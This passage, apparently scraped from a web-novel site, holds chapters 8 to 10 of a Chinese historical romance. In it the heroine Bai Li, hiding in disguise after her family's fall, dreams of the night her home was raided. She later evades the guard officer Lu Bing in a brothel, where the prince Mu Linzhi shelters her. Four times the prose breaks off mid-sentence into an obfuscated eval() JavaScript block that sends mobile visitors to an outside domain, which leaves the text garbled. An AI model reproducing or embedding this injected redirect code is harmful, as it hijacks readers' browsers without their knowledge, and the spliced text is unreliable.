白荔叹了口气,领他去了湖边,给他简单洗了洗头和脸,收拾干净之后,又带他回到小厨房,给他塞了好多糕点。 “以后我在小厨房的时候,你可以来找我。”白荔道,“你想吃什么,我可以给你做。” 阿豮不可置信地看着她,“……真的吗?” 丹樱被他的表情逗笑,摸了摸他的头,“真的,我们还能骗你不成。” 阿豮眼睛泛红,哽咽道,“谢谢两位姐姐,你们对我真好,你们是我见过最漂亮、心肠最好的人。” “小嘴真会说话。” 阿豮擦着眼泪,抱着一包糕点,千恩万谢,一步三回头地走了。 回去的路上,丹樱有些沉默。 白荔悄悄看了她一眼,想了想,轻声道,“姐姐,你是不是有些不高兴,怪我多管闲事了?” “没有。”丹樱摇了摇头,道,“我只是想起了我的小时候。” 她的幼年,比起那小孩好不到哪里去。 “他那样可怜,我也很同情,但是若是只有我一个人在的话,我不会去管他的。”丹樱如实道,“阿荔,我这样说,你会不会觉得我太过无情?” 白荔摇了摇头,轻轻道,“不会的。我们自己已经过得艰难,力微言轻,管不了太多的事情,这也是人之常情。” 听到白荔如此说,丹樱舒了一口气,微笑起来,“你说的对,自己都这么难了,我也管不了那么多了,在我的心里,只要你、阿公、我,我们三个人好好的就行了,其余的都不关我的事。” 白荔也微笑,拉住她的手,柔声道,“姐姐,我们回去吧。” “好,我们回去。” . 平时出府采购,从来秋音堂的姑娘们都是争着抢着去的,但是这一次却有所不同。 班主告诫秋音堂最近不要擅自出府,外面有些兵荒马乱。 丹樱打探完消息回来,关上门,神神秘秘对白荔道,“好像是太湖一带的水寇溃逃来了城里,官府正在满城搜捕他们呢,这次闹的的动静很大,好像还从长安来了什么……对,金吾卫!” 白荔脸色一白,手里的茶碗“啪”的摔在了地上。 “怎么了这是?”丹樱连忙过来,捡干净碎了一地的茶碗,检查白荔的手指,“没受伤吧?” 白荔胡乱回道,“没事。” 她起身,恍惚地坐到床边,丹樱走过去,没有察觉到关节,目光被床边一件尚未完工的罗袜吸引,罗袜针脚细密,又软又轻,是比照着阿公的脚码做的,她拿起来,赞不绝口,“阿荔,你这针线活真是好极了,比外面的那些绣娘的手艺还要好。” 她又看到了一件烟粉色的香囊,心中一喜,知道是给自己做的,又顺着香囊,看到了旁边一件玄天墨色的衣裳,像是小孩子的样式,拿在手里,“阿荔,这是……?” 话刚脱口,她明白过来,笑道,“是给那个孩子做的吧?你真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457507|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心。” 她能想象的到,他收到这样一件东西,该是感激涕零,开心坏了吧。 真幸运,他比自己强,遇到了好人。 “不过,阿荔,我得提醒你一句,”丹樱想了想,道,“再怎么样,他也是这个府里的人,跟咱们没关系,你可以对他好,但不能对他太好,差不多就行了,我怕他依赖惯了你,会不知收敛,反而给我们添不必要的麻烦。” “我省得的,姐姐。”白荔淡淡道,“我也做不了太多,只尽我所能吧。” 若是在温家,她永远也不会见到这样的人,也不可能对他们施以援手。 如今沦落至此,她从那个孩子身上,找到了些同病相怜的味道。 那时她眼中的世界永远是光鲜的,美好的,温家覆灭后,她才逐渐看清了这个真实的世界。 原来她之前的生活如同空中楼阁,只是镜花水月中虚幻的一角,原来这世上有很多人,比她过得更惨,光要活下去就要拼尽全力。 她已经比他们幸福了十几年,如今不过从头开始,无论怎样,她都要好好活着,绝不能自暴自弃。 夜里,沉寂许久的噩梦又至。 …… “堂堂礼部尚书,怎么才这么点油水!” “隔壁的户部侍郎,比尚书还低一品,抄出了足足折合两百万两的雪花银!上头的果然瞧不起咱们兄弟几个,好处都给他们自己人给占了,啐!” “温大人素来清正,真没枉费这两袖清风的雅名啊。” “不过落到咱们兄弟几个手里,就算是块石头也得给我榨出油来,今儿再怎样,咱们兄弟都绝不白来,总得让他领教领教,这得罪太后的下场。” 众位年轻男人齐刷刷地站在门外,玄色轻袍,凤翅兜鍪,腰悬唐刀。 “素闻尚书夫人美艳雍容如同牡丹,她的女儿虽未及笄,却也是个美人坯子。” “只是可惜了,这姓温的籍没家产,她们也得跟着被送去那个地方,我看送过去之前,不妨咱们哥几个先乐呵乐呵?” “给我破门!” 一扇门隔绝了门外,却隔不开那淫|邪放肆的声音,门闩上的铜锁被蛮力撞得叮咚作响,母亲点燃了火烛,火势很快蔓延起来,白荔则蜷缩于密室中,死死捂住嘴,哭的喘不过气来,不顾身后跛脚李的催促,舍不得离去。 轰隆一声巨响,是降落下的雷霆,也是破门之声。 他们冲了进来,随即被扑面而来的火势唬的退后几步,开始自顾不暇地灭起火,白荔擦了擦眼泪,最后看了一眼已经一动不动的母亲,趁机伏在密室,就要悄悄关上门栓。 就在这个时候,一双突然出现的手,死死拽住了她! 那一刻,她感到自己的心跳都停止了。 一个年轻的男人,伏在密室门前,死死拽住了她的手,居高临下地睥睨着她。 “陆禀,你那里找到人了吗?” 熊熊大火中,男人没有回答,面无表情的一张脸冷冷地看着她,眼中燃烧着猩红的火光。 她整个人僵住,犹如一瞬间被吸干了的白纸,随即,整个人剧烈地颤抖起来。 她的牙关剧烈打战,擦干的眼角,瞬间又涌出了大颗大颗的眼泪。 她紧紧盯着他,拼命挣脱他的禁锢,冲他无声地、绝望地摇了摇头。 救救我。 求求你。 8. 第 8 章 救救我。 不要…… 不要将我抓走。 她用眼神向他乞求。 她恨他。 是他,是他们,抄了她的家,让她家破人亡。可是此时此刻,她又不得不低下头颅,放弃尊严,匍匐在他的脚下,拼上全部微渺的希望祈求他,因为她的生死,就在他的手中。 …… 白荔在黑夜里睁开眼睛,坐起,大口呼吸着。 别害怕。 是梦。 只是梦而已。 她抚着心口,默默在心底安慰自己。 自己怎么好端端地又梦到了那一天? 难道是白天听到了金吾卫的缘故? 她有些困惑,一转眼,一张熟睡的姣美面庞近在眼前,丹樱侧卧在旁,呼吸均匀而宁静。 她凝视片刻,慢慢平复了呼吸,又重新躺下,抱着柔软的娇躯,闻着那一抹淡淡的香气,慢慢阖上了眼。 . 蝉鸣阵阵,绿影森森。偶有几分凉风拂过,令人一阵熨帖。 午后时分,白荔戴上帷帽,悄悄出了角门。 她们这些优伶自成一院,郡公府并不十分管束,对她们出府睁一只眼闭一只眼,只要不是彻夜不归,不牵扯到人身安全,郡公府不会过分注意。 白荔给自己的脸上化了一个黄妆,掩去白皙的肤色,又点上了几颗大痣,这是她每次临出门前的习惯,就算摘了帷帽,她也是一个其貌不扬的,混在人群中丝毫不打眼的普通妇人。 出了郡公府,她轻车熟路,先去了一趟沈家药铺,给跛脚李购置了几包药材。 因为常来的缘故,药铺的掌柜早就认识了她,见她过来,不用打招呼,将早就准备好的药材放在案前,笑眯眯地请她验收。 白荔将银钱放在桌上,礼貌地向掌柜道谢,又让他五日后准备好下次的药材,和从前一样。 药铺旁有一块官府的告示墙,此刻的告示墙旁围了一群人。 卷边的黄纸上张贴着几个满脸横肉的水寇头子,众人好奇着看着画像,比比划划,叽叽喳喳。 白荔出了药铺,淡淡路过人群,走进了旁边一家胭脂铺子。 胭脂铺老板娘是一个四十来岁的妇人,刚送走了几位顾客,见又有人走了进来,女郎戴着帷帽,看不清长相,一身素布衣裙,并非绫罗绸缎,可是身姿高挑,步履从容,远远看去,只觉得丰肌秀骨,气韵非凡。 一时之间,老板娘还真不知道这来人是何路数。 “这位姑娘,快进来快进来,小店各种胭脂水粉应有尽有,全的唻。” 白荔对老板娘点了点头,慢慢走到一排排的胭脂旁边,逡巡片刻,拿起一块细看。 老板娘见那双手十指纤纤,指甲玲珑尖细,如同淡粉花瓣,必是得主人平日悉心呵护所致,忙热络道,“姑娘好眼力,这块胭脂可是小店的镇店之宝,由玫瑰花汁子制成,又辅以南海的珍珠粉,还有上好的龙脑香,涂上去色若丹霞,艳如牡丹,配姑娘的好颜色,实在是锦上添花啊!” 老板娘夸得舌灿莲花,却没成想还没介绍完,女郎便放下,又拿起了旁边的另一块。 “哎哟,这个也好!这块是紫茉莉花制成,涂上去更是美不胜收,美的像是从娘胎里生出来的唻!” 老板娘话未说完,白荔又放下,踌躇片刻,拿起了另一块。 老板娘说的口干舌燥,不由地停住,这人到底买不买? 以前母亲梳妆台上的胭脂,白荔大大小小都试过,还和母亲一起做过,什么胭脂没有见过。母亲所用之物,比宫中娘娘都是不差的,里面除了南海的珍珠粉和西域的蜂蜡油,还添加了昂贵的金箔,一块就价值百金,她自然闻得出龙脑香的味道。 这些胭脂根本就不是珍珠粉做的,而是加了些劣质的面粉,而且里面朱砂加的太多,这样的胭脂颜色虽持久,然而用久了脸上会起疹子,对容貌大有损害。 白荔左挑挑右捡捡,终于还是选了一块方方面面还算过得去的,递给老板娘。 老板娘看了那胭脂一眼,挑了挑眉毛,强笑道,“姑娘,这个十两银子。” “十两银子?”白荔震惊。 她以前附庸风雅,也亲手做过几个胭脂,对这方面有些造诣。 “老板娘,这块就是把茜草和花瓣碾碎,再加了一点赭石和树脂,根本用不了多少成本,”她柔声道,“这十两银子,怕是收的太多了吧?” 老板娘内心一动,知道这是个内行,讪笑一声,“哎哟,没想到姑娘还是个行家唻,算了,看你是个生面孔的份上,小店卖你个回头客,那就五两银子好了。” “一两。” “……” “姑娘说笑了不是,一两银子,小店都回不了本哦。” “那算了,我不要了。” “哎?别走别走!”老板娘见她转身就走,急忙去拉,“哎哟,真是的,刚开门就亏了本,一两就一两吧,这次算我赔本赚吆喝,姑娘记得以后一定要常来哟。” 白荔心想,就算是一两,也够你赚的了,面上却不欲与她计较,笑了笑,温和道,“多谢老板娘,我以后一定常来。” 她带着包好的胭脂,走出了胭脂铺子。 若是放在以前,就算知道老板娘漫天要价,她也会不去计较,反正横竖不缺这十两银子,何至于到了现在斤斤计算,竟然开始学会杀价了。 白荔淡淡一笑。 路过一家书肆,门头悬挂着一块大木幌,上书金玉斋三个大字,店里书籍累累,客人络绎不绝,生意很好的样子。 自创始科举之后,寒门进士、文人墨客如雨后春笋般兴起,带动着书肆的生意愈发红火,书肆会将传诵一时的诗文书籍摆在醒目位置,售以高价,开辟一时风雅,书肆也成为了很多文人雅客心中的圣地。 白荔停住,望着眼前的木幌,书中自有黄金屋,书中自有颜如玉,这书肆的名字起的倒是讨巧。 店里最醒目的位置上,挂着一块小牌匾,上面写道:临鹤闲人新作上市,欢迎阅鉴。 临鹤闲人出新作了? 白荔眼睛一亮。 临鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457508|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲人含章华采,文思斐然,所著《沉香篆》一书名动天下,引得文人雅士竞相传诵,成为一时之风,自诩有些才华的读书人几乎是人手一本。 不过此人身份神秘,除了这个虚无缥缈的名号之外,姓甚名谁,是男是女,通通一无所知。 白荔走近书肆,拿起临鹤的新书《溪山游记》。 “老板,多少钱?” “一两银子。” 白荔递给老板一两银子,拿着书转身离开。 她走后,又有一白净书生走进书肆,拿起《溪山游记》,“老板,这书多少钱?” “一两银子。” “一两银子?”书生倒吸一口凉气,夸张道,“隔壁云济书院卖三百文,你张口就要一两银子,当我傻子是吧?” “公子息怒,小的刚才说错了,是三百文。” “……这还差不多。” 白荔刚离开书肆,便找到附近一处角落,坐下来,急不可耐地翻阅起来。 她掀开扉页,小心翼翼地翻到第一页,专注地看了起来。 “朝廷捉拿逆党,闲杂人等闪开——” 一阵急促的马蹄声响起,几位身穿玄色官服的官兵飞身下马,朝这条街道急急而来。 见官兵们抽出了腰间长剑,有人吓得尖叫,纷纷退避三舍,人群浮动起骚乱。 白荔反应过来的时候,早已被人群裹挟,一下子挤到了最外面,她护住书,狼狈地躲着。 “人就逃到了这里,给我挨家挨户进去搜。” 不远处,一道冷峻的声音响起,不轻不重,正好能让白荔听见。 躲闪人群的白荔倏然一愣,整个人僵在原地。 这个声音! 她脸色煞白,慢慢转着头,朝发出那道声音的方向看过去。 官兵们闯进书肆,剑出鞘,发出几声惊叫,几个书生从里面慌乱地逃窜出来,将白荔手里的书撞到地上。 白荔忙低身去捡,然而人越来越多,脚步越来越杂,她的帷帽不知怎么的也被人撞掉,她顾不上捡书,赶紧又捡起了帷帽,拿着帷帽直起身来时,书肆旁只剩下了她一个人。 她抱着帷帽,不知所措地呆在原地。 陆禀微微低身,从书肆里缓步走出,一身玄色轻袍,擦着手中染血的剑刃,随即插剑入鞘,他的身后跟着一众手下和束手就擒的一个男人。 “带走。” 他冷声道,冷淡的眉眼随着直起的身躯慢慢抬起,眉间的一抹阴影渐渐散去,漠漠朝白荔随意看去了一眼,一怔。 不远不近的距离,两人四目相对。 陆禀看着站在原地,呆呆看着自己的妇人,缓缓蹙起了眉。 下一刻,妇人突然掉头,转身就跑。 眼睁睁看着她如一只见了猫的老鼠一般,飞快地钻入了人海之中,陆禀目光一变,本能地要追过去。 他淡淡吩咐跟过来的下人,“继续去附近搜,抓住同党,我去去就回。” 留下这句话后,他便扶着腰间长剑,挥开人群,快步追向那逃跑的妇人。 9. 第 9 章 白荔慌不择路,顺着人群的缝隙,逃也似的往前跑。 是他! 怎么会是他! 他不是在长安吗?怎么会出现在这里? 白荔心乱如麻,脚步更加急乱。 直到东拐西拐,跑出很远后,混入人群暂得一时安全,她才慢慢安下心来,反应过来。 她情急则乱,什么都给忘了,此刻的自己貌丑如盐,非本来面貌,他必定认不出,又何须怕面对他呢? 反而是见他就跑,引起了他的怀疑,这才紧追不舍。 是她太过心急了。 白荔暗暗后悔,脑中飞快想着怎样甩开陆禀的法子,眼前蓦地出现一家熟悉的画楼。 画楼幡幌飘动,香风阵阵,牌匾上书望春楼三个大字,花红柳绿的姑娘们各自挽着衣冠楚楚的郎君贵人,或惜别或调笑,门前车马人流络绎不绝。 白荔看了一眼,略一思量,跑了进去。 “这位郎君,嗯?这位姑娘,你这是……” 迎客的老鸨走了过来,看到白荔,脸色变了变,堵住了她。 “姑娘,您这是来错地方了吧?” 老鸨似笑非笑,“咱们这里可是伺候男人的场子,今儿吹的是哪阵风,把您给吹来了?依我看呢,您还是哪来的回哪儿去——” 白荔脑袋瓜转的飞快,学着丹樱平时的模样,冷笑一声,愠怒道,“怎么?给我在这里装糊涂是吧?我可告诉你,今日你们若是不把我男人交出来,别怪我让你们吃不了兜着走——” 她摘掉帷帽,叉起腰,粗眉倒竖,粗野的面容显得愈加彪悍,颇有几分唬人的架势。 “啊?这?”老鸨脸色又变了一变,她们这里可是青楼,每日丈夫偷腥、家里妇人打上门的事数不胜数,闻言本能地怯了三分,随即堆起一脸笑,“这位娘子,您先有话好好说,我们这里可是正经买卖,想来是没有您家官人,要不您再好好想想……唉?娘子!娘子!” 话还没说完,白荔便冲了进去,转眼便不见了人。 老鸨脸色一阵青一阵白,恼怒地跺了跺脚,“快快!都去给我找!这叫个什么事啊!” 白荔直接跑去了楼上。 楼上围栏边的活动各式各样,喝酒的、下注的、划拳的,见到白荔上楼,玩得热火朝天的众人纷纷抬眼瞧过来,见是如此丑陋的一个妇人,又纷纷别过眼,当作空气。 白荔低下头,不紧不慢地继续朝楼上走,走到一处拐角处,她摘下帷帽,以最快的速度摘掉几颗大痣,稍一修饰,摇身一变又成了另外一个人。 之后,她一路轻车熟路,来到了怜月姑娘的曲房。 初到姑苏,还没有遇到秋音堂之前,白荔曾和跛脚李丹樱下榻在这条街的一间客栈里,期间为了赚点银钱,她曾来过秋音堂,替这里的姑娘们调弦润轸,做一些修补活计。 此刻的白荔,站在曲房门外,微微掀起面纱,露出一角面孔,平静道,“怜月姑娘可在?我来补弦。” 门外的小丫鬟看到白荔,不疑有他,回道,“白娘子,我们姑娘正在梳妆,并不方便见客。” 这是望春楼这些姑娘们的习惯,她们睡到日上三竿,到了傍晚才懒懒梳洗打扮,陆续接客。 白荔心领神会,依旧平静道,“可否姑娘行个方便,让我进去等?外面暑热,我一路走来,有些口渴。” 怜月性情冷淡,喜好卖弄风雅,与望春楼的其他姑娘合不来,倒是与白荔能够聊得上几句。小丫鬟对这位技艺娴熟的琴师印象还算不错,想了想,略一点头,“娘子这边请。” 白荔被她领着来到屏风后的一间小室,坐下等待,顺便留心楼下的动静。 望春楼鱼龙混杂,门口还有护卫,比起其他地方,白荔就算跑的再快,也早晚被会陆禀抓住。 然而这里就不一样了。 陆禀进来会受阻碍不说,她熟悉这里的构造,想要脱身也不是难事。 室内熏香浓郁,熏的她有些脑袋疼,不过怜月算的上是望春楼的花魁,曲房整日供应着冰块,倒是比外面的酷暑难耐好得多。 良久后,外面传来一道清冷的声音,随着脚步声越来越近。 “那位公子今日来了吗?还是只听曲子?” “回姑娘的话,是的。来望春楼只听曲的,奴婢倒是头一回见,真是个怪人。”小丫鬟跟在怜月身边,附和道,“不过,那位公子生的可真是好看,像是从画里走出来的仙人一样,而且出手还那么阔绰,想必隔壁几个都要眼红的睡不着觉了吧!” 怜月轻笑,“小丫头,尽贫嘴。” “你不知道,这世上不图女子美色的男子,已实属难得,而且他与我颇有高山流水之情,非寻常凡夫俗子可比。”怜月叹息一声,语气怅然,“他是懂我的。” 白荔听着怜月的话,暗暗吃惊。 怜月此人,性情冷傲,孤芳自赏,极为厌恶世间男子,是谁这般非同凡响,竟然能得她如此赞赏? 怕不是个善于巧言令色的绣花枕头罢了。 片刻后,小丫鬟一个人走了进来,面含歉意,对她道,“抱歉啊,白娘子,我们姑娘今日有贵客要接待,怕是没时间见你,恐怕要让娘子白跑一趟了。” 白荔并不意外,温声道,“无妨,那我改日再来便是。” “对了,我有一个不情之请。” “娘子请说。” 白荔指了指刚才故意将茶水泼到上面去的裙面,歉意道,“刚才我一时不小心,弄脏了衣裳,姑娘可否借我一身衣裳。” 小丫鬟松了口气,“我道是什么呢,娘子莫慌,请随我来。” 片刻后,白荔将一身湿衣裳换下,换上了一身天青色的衣裳,“多谢姑娘,改日我再来时,一并洗好还你。” “娘子不必客气,我们望春楼最不缺的就是衣裳和首饰了,衣裳娘子就不必还了,奴婢还要过去服侍姑娘,就不送娘子您了。” 白荔颔首,与她短促道别后,离开了曲院。 再次出来时,她已经改头换面,从容地走下楼阶。 楼下传来喧哗声,有朝廷命官,想要进望春楼抓人。 “我乃金吾卫中郎将,前来拿人,还请放行。” 那一道冷峻的声音又传了过来,白荔朝楼下看去,果然是陆禀。 他果真追到了这里。 老鸨谄媚里带着畏惧的声音大声传来,“哎哟!这位官爷,给我们十个胆子,我们也不敢呐!望春楼做的可都是正经生意,绝对不敢私藏什么不干不净的人,想来官爷是弄错了?您先消消气,来,咱们这边先坐着喝喝茶……” 白荔低着眉眼,远远听着楼下几人的周旋,若无其事地混在人群中,心想着等下如何伺机逃走。 不一会儿,突然发生了意外。 “不好了——走水了——” “走水了——” 不知从哪个方向传来了叫喊声,人群像是一下子炸开了锅,纷纷逃窜起来。 白荔始料未及,却是灵机一动,正好趁着这波混乱的人流,直奔去向角落。 她了解望春楼的构造,楼上角落处都有一处防走水的侧窗,因为位置太过偏僻,无人管辖,早已积灰,此刻正好方便她悄悄逃出去。 白荔一路混着人群,来到了侧窗,趁人不备,她撬开窗牖,踩上窗槛,默默丈量着二楼到地面的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457509|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心一横,闭上眼,纵身跳了下去。 顷刻间腰间一暖,还未触及地面,她便落入了一双健壮的男子臂弯之中。 一股舒雅的清香扑面而来,男子伸展双臂,利索地抱住了她,调笑道:“光天化日之下,怎么凭空掉下来了一位仙子?” 白荔双手被迫搭在他宽厚的肩上,惊疑不定地抬起头,望进了一双含笑的深邃眼睛里。 四目相对时,白荔一惊。 是他。 听他有意调笑,又想起那日湖边的情景,白荔脸一红,立刻挣开他,站稳身子,后退一步,对他行了一礼。 “多谢公子搭救之恩,叨扰了公子清净,奴家马上就走。” “这么急着走?我刚才可是救了你。”牧临之负手而立,不动声色地上下打量着面前的女郎,眸光闪烁。 白荔讷讷,心想若不是你横插一脚,我早已利落脱身。 “公子恕罪,奴家家中还有要紧事,就先……” “不急。”牧临之悠悠道,“听说二楼走水了,此刻人群定是拥挤不堪,你一时半会也出不去。” “若是家中实在有急事,不妨我让我手下的人先替姑娘通传一声,姑娘觉得如何?” “……多谢公子,不用了。” 白荔坐立不安,只想速速找个借口脱身,然而余光中,陆禀已经顺利进来,她心中一紧,抬眼看向了眼前的男人。 牧临之微微一笑,转过身,留下一句,“跟我来吧。” 白荔短暂地犹豫了一会,跟着他走入一间雅间。 雅间内焚香袅袅,别有洞天,金器、香炉、石鹭陈列有序,中间还摆放着一把古琴,整个雅间宽阔高雅,奢华无比。 牧临之掀起轻袍,随意坐到了窗边的软榻上,曲起一腿,一手搭在膝盖,一手端起玉杯,仰头饮了一口,直直看着她。 “我看姑娘有些眼熟,我们是不是在哪里见过?” 白荔心中轻轻咯噔了一下,垂下眼,平静道,“公子这样的贵人,奴家不曾见过。” “是吗?”牧临之轻笑一声。 “楼阁走水是常有的事,再怎么样,姑娘也不该跳窗,还是姑娘心里藏着事,情急之下,这才慌了阵脚。” 他看着她,“有什么天大的麻烦,姑娘不妨跟我说说。” “……”白荔恐他以为陆禀追的人就是她,只得硬着头皮道,“实不相瞒,奴家家中并无事,实则是奴家的夫君流连在此,我前来捉人,差点闹出难堪,这才想借机跳窗离去,没想到却被公子救下了……一些家丑,还请公子体谅。” 牧临之看着她面不改色地扯谎,勾唇笑了笑,“看来姑娘所托非人,你那夫君并非良人。” “……谁说不是呢。” 之后牧临之便不说话了,不紧不慢地饮着酒。 他不言,白荔亦不语,两人一坐一站,一时间四下静谧。 白荔心中好奇,忍不住抬起眼,悄悄打量着眼前的男人。 坐在软榻上的公子身着一身宽大青衫,身姿清癯,说不出的落拓不羁,那日白荔没有看清他的脸,如今这么近距离的看着,只觉此人生的丰神俊朗,一双丹凤眼华采昳丽,如同蕴着天地灵气。 但是……怎么感觉有些眼熟呢。 白荔皱了皱眉,一时想不起来。 这时,雅间传来了不轻不重的敲门声。 白荔一惊,牧临之也看了她一眼,朝她眼神示意一下。 白荔心领神会,闪身躲进了内间。 她躲好后,牧临之才懒洋洋地开口,“进。” 来人推开门,脚步沉稳,一袭黑衣劲装。 是陆禀。 10. 第 10 章 “陆某缉拿要犯,偶闻小郡王在此,特来拜会。” 陆禀大步踏进雅间,朝牧临之躬身行礼,声音平静。 “陆大人,好久不见。”牧临之没有起身,依旧保持着懒洋洋的坐姿,笑吟吟道,“看来这最近的姑苏,真是熟人不少啊。” “陆大人,找我什么事?” 陆禀顺着那个可疑妇人一路追到望春楼,没想到阴差阳错之下,得到了牧临之正在这里的消息。 这不可谓不算是一个意外之喜。 他此次南下江南,名义上是清缴水寇,实则重点是暗地里抓太子的遗党。 那些遗党逃离长安,一路流窜江南,如同泥牛入海,不知去往了何处。 陆禀毫无头绪,然而得知牧临之也南下来到了姑苏,他仿佛一下子找到了新的灵感。 牧临之的父亲乃是淮南郡王,是先皇最小的弟弟,太子的亲叔叔。 淮南郡王是闻名天下的富贵雅人,平生最爱吟风弄月,无心朝政。 但是陆禀清楚,此人粗中有细,看似放荡不羁,实则最为小心谨慎。 当初太子还在时,曾经多次讨好这位淮南郡王,甚至还许诺其太子太傅之位,却被委婉拒绝,面对其他几位年富力强的皇子,他面面俱到,与太子一视同仁,实则是不想趟任何一趟浑水,对天家争权片叶不沾身。 俗话说有其父必有其子,这位小郡王更是深得淮南郡王的真传,青出于蓝而胜于蓝,一味醉心风月,更为放荡不羁。 但是相比淮南郡王,他有一点不同。 这位小郡王幼年曾作为太子的宫中伴读,与太子关系亲密,颇有渊源。 如今太子的逆党逃窜江南,他又恰好出现在此,陆禀对他的态度尚不明朗。 牧临之身份尊贵,非地方官僚可比,若是逆党躲到了他这里,他是否会和他的父亲一样,万事不插手,还是会成为他此次南下缉拿逆党的阻碍。 陆禀显然不希望是后者。 于是,他很快将那个逃跑妇人抛诸脑后,决定借着这次拜会之由,一试究竟。 此时此刻,雅间内,陆禀站在牧临之面前,平声道,“久闻小郡王文采斐然,博学渊源,下官不才,最近在读《礼记》,有一愚昧不解之处,还请殿下解惑。” 牧临之临窗而坐,闻言一笑,“哦?说来听听。” 陆禀缓缓道,“《大戴礼记·子张问入官》有言,水至清则无鱼,人至察则无徒,在下推已及人,心中颇多感慨,又读《道德经》,上面又言:有无相生,难易相成;两句话虽殊途同归,然下官读后,久久不解其道,今日有幸在这里遇到小郡王,特来移樽就教。” 说完之后,他便抬起眼,直直地看向牧临之。 牧临之轩了轩眉毛,还是一副笑吟吟的模样,“陆大人,倒是饱读诗书之人。” “不瞒小郡王,下官此次南下江南,正是为了捉拿逆党一事。太后下令,在下无有不从,然逆党狡诈,将其抓拿并非易事,下官想问,这江南的水,是否能够抓住这条大鱼?” 牧临之弯唇,轻轻一笑。 他开口,懒懒道,“陆大人既然读《道德经》,可曾读过这一句:天下莫柔弱于水,而攻坚强者莫之能,我倒是觉得,清浊相济,未尝不是一件坏事。” “陆大人兢兢业业,恪尽职守,实在令人佩服。日后在江南,若是有什么需要我的地方,我一定尽力而为。” 陆禀面无表情地看着牧临之。 片刻后,他躬身一礼,平声道,“小郡王的意思,下官明白了。叨扰了,告辞。” “这就走了?”牧临之似乎还意犹未尽,招呼道,“我这里有上好的桃花酿,陆大人若是有空,不如坐下来,与我对酌几杯?” “不了,下官还有要务在身,此等风雅,恕下官不能奉陪。” “等等,陆大人。” 牧临之盯着陆禀的背影,缓缓道。 “《淮南子·道应训》有言:太刚则折,太柔则卷;论语又曰:德不孤,必有邻;陆大人,我很欣赏你的才华与能力,陆大人博闻强记、忠心报国自然是好,然而明珠暗投,岂不可惜。” 陆禀转过身。 牧临之微笑地看着他。 “哦,对了,还有一事。” “下次陆大人想见我,不必借着走水这样的由头,我一个闲人,也没什么事,陆大人若有事要见我,我随时恭候。我们的事,还是不要惊扰到旁人了,陆大人觉得呢?” 陆禀静静看着他。 “是下官的疏忽,告辞。” “陆大人,不送。” “咯吱”一声轻响。 很快,外面的声音消失了。 白荔躲在屏风后,来不及消化这段对话以及庆幸陆禀的离去,又重新陷入到了新的震惊之中。 外面的男子…… 竟然是小郡王。 淮南郡王的独子,牧临之。 白荔一时心情有些复杂。 怪不得……这声音和面容如此眼熟。 “好了,人走了,出来吧。” 白荔思绪混乱,直到外面懒洋洋的声音传来,这才回过神来,慢吞吞走出屏风。 她停在一边,有些怔怔地看着眼前的男子。 发黄的涂料掩饰住了她真实的面貌,她此刻无比庆幸自己养成的出门易容的习惯,这样她便不会以真实面目与他相见。 她也根本不想见。 牧临之打发走了陆禀,目光又重新落到了白荔身上,眯了眯眼。 “你……” 他正要开口说什么,门外又传来了轻轻的叩门声。 怜月抱着琴走了进来,朝他施施然行了一礼,起身看到一旁的白荔,微怔。 “白娘子,你怎么在这里?” 牧临之看了一眼怜月,又看了一眼白荔,疑惑道,“你们认识?” 怜月见牧临之看向了自己,忍不住玉面一红,朱唇微咬,轻声将与白荔如何熟识的事讲了一遍。 “是吗?原来如此。” 牧临之盯着默不作声的白荔,似笑非笑,“原来白姑娘也是善琴之人,正好,在下这里正好有琴,今天能否有这样的荣幸,请姑娘抚琴一曲?” 原来怜月赞不绝口的那位公子,就是他。 白荔心中更复杂了。 谁能想到,幼时那个活泼温柔的子衿哥哥,如今竟然成了一个宿醉湖边、流连青楼的浪荡公子。 时间真的能够彻底改变一个人。看来这些年来,不光只她一人面目全非。 “不了。”白荔拒绝道,声音也不自觉变得冷淡了下去,“奴家才疏学浅,登不上大雅之堂,还请公子恕罪。” “是吗?”牧临之看着她淡淡的神色,有些疑惑,面上却不减笑意,道,“在下刚刚可是救了姑娘,姑娘连这样一个小小的要求,都不肯吗?” “还请公子不要为难奴家。”白荔退后一步,低头道,“公子已有佳人相伴,奴家就不打扰了,这就告辞。” 陆禀已经离去,已经不用再为此担心,白荔说完之后,便不欲与他周旋,直接转身出了雅间。 怜月见白荔已去,悄悄看了一眼牧临之,适时插话道,“公子,今日您想听什么曲子?” 牧临之若有所思地望着佳人利索离去的背影,听到怜月的声音,这才回过神来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 